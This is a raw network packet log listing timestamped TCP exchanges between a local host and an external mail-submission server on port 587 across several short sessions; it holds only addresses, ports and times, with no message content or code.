Feb 4, 2021 09:56:37.021379948 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.022835016 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:37.213848114 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.232942104 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:37.424670935 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.425875902 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.425921917 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.425960064 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.425967932 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:37.425998926 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.426035881 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:37.435497999 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:37.626701117 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.627515078 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.627542973 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.627650023 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:37.770417929 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:37.964332104 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.964354038 CET	587	49166	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:37.964430094 CET	49166	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:44.295912027 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:44.487302065 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:44.487488031 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:44.679739952 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:44.680325985 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:44.871220112 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:44.871485949 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:44.871975899 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:45.063184023 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.064145088 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:45.255033970 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.255244017 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.255275011 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.255454063 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:45.256830931 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:45.337919950 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:45.447813034 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.447864056 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.528927088 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.529316902 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.531729937 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:45.722624063 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.724826097 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.725512028 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:45.916402102 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.919306993 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:45.923852921 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.114706039 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.117728949 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.118323088 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.309142113 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.336539984 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.337320089 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.528203964 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.528991938 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.533305883 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.533993006 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.534218073 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.534993887 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.538655043 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.724217892 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.724314928 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.725089073 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.725305080 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.726042986 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.726111889 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.729494095 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.729573011 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.915170908 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.916932106 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.918010950 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.918122053 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:46.920511007 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.920537949 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:46.923563004 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:47.107851028 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.107928991 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:47.109004974 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.109061003 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:47.114367008 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.114471912 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.114485979 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.114495039 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:47.298788071 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.298809052 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.298815966 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.299839973 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.305362940 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.305392981 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.305408955 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.306531906 CET	587	49168	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:47.306627989 CET	49168	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:52.167088032 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:52.358326912 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:52.358468056 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:52.550329924 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:52.550904989 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:52.741576910 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:52.741890907 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:52.742235899 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:52.932986975 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:52.934129953 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:53.124754906 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.124871969 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.124897957 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.125032902 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:53.127154112 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:53.188709974 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:53.317769051 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.317786932 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.379471064 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.379748106 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.380650997 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:53.576031923 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.576055050 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.576855898 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:53.767563105 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.769695997 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.770435095 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:53.961184978 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.964131117 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:53.964864016 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.155667067 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.179357052 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.180182934 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.370867968 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.371615887 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.372626066 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.372868061 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.373145103 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.373692036 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.380131960 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.563344002 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.563400984 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.563661098 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.563878059 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.564214945 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.564311981 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.570836067 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.570971012 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.754666090 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.754867077 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.755018950 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.755116940 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.761640072 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.761699915 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.761740923 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.761789083 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.945981026 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.946213961 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:54.952420950 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.952457905 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:54.952861071 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:55.136926889 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.136970997 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.137001038 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.137161016 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:55.137228012 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:55.143677950 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.143707037 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.143774033 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.143896103 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:55.144663095 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:55.327960968 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.327989101 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328003883 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328017950 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328151941 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328170061 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328265905 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328341961 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328378916 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328460932 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.328567028 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:55.334642887 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.334676027 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.334922075 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:55.335058928 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:56:55.335278988 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.335300922 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.335380077 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.335462093 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.519282103 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.525533915 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.525569916 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.533344984 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:56:55.749027967 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:01.104150057 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:01.294872046 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:01.295527935 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:01.295542955 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:01.297010899 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:01.297103882 CET	49169	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:01.400248051 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:01.487730980 CET	587	49169	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:01.591296911 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:01.591507912 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:01.784151077 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:01.784584045 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:01.976742029 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:01.977025986 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:01.977374077 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:02.168011904 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.168674946 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:02.359339952 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.359363079 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.362334967 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:02.362848997 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:02.367549896 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:02.553411961 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.553440094 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.558047056 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.560718060 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.561283112 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:02.752933979 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.753448009 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.754338980 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:02.946441889 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.949299097 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:02.950166941 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.142930984 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.145508051 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.146011114 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.338327885 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.380258083 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.380837917 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.571427107 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.572263956 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.573024988 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.573183060 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.573318005 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.573611975 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.577198982 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.765300989 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.765480995 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.765799999 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.766336918 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.766412020 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.769623041 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.769737959 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.957556963 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.957902908 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.958662033 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.958853006 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:03.961508036 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:03.961621046 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.151137114 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.151390076 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.151632071 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.151779890 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.154722929 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.154854059 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.155523062 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.155663013 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.342048883 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.342088938 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.342215061 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.342242002 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.342246056 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.342286110 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.342308044 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.342322111 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.342355013 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.345407009 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.345814943 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.346133947 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.346218109 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.346218109 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.346259117 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.346316099 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.346587896 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.532962084 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533004999 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533030987 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533067942 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533135891 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533164978 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533251047 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533332109 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533499002 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533539057 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533600092 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.533607960 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.536369085 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.536472082 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.536500931 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.536731958 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.536849022 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.536868095 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:04.536873102 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.537018061 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.724311113 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.727462053 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.736810923 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:04.953744888 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:11.399065971 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:11.589806080 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:11.590215921 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:11.590229988 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:11.590378046 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:11.591587067 CET	49170	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:11.706706047 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:11.782249928 CET	587	49170	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:11.898225069 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:11.898344994 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:12.090840101 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.133011103 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:12.323987961 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.324244976 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.324624062 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:12.515646935 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.516393900 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:12.707500935 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.707555056 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.707576036 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.709655046 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:12.774843931 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:12.778695107 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:12.965827942 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.965867996 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.969562054 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.970074892 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:12.971193075 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:13.162307024 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:13.163367987 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:13.263941050 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:13.455045938 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:13.456856012 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:13.457206964 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:13.648166895 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:13.649111032 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:13.649630070 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:13.840584993 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:13.862704039 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:13.867584944 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.058631897 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.059117079 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.060195923 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.060497046 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.060745955 CET	49171	587	192.168.2.22	198.54.122.60
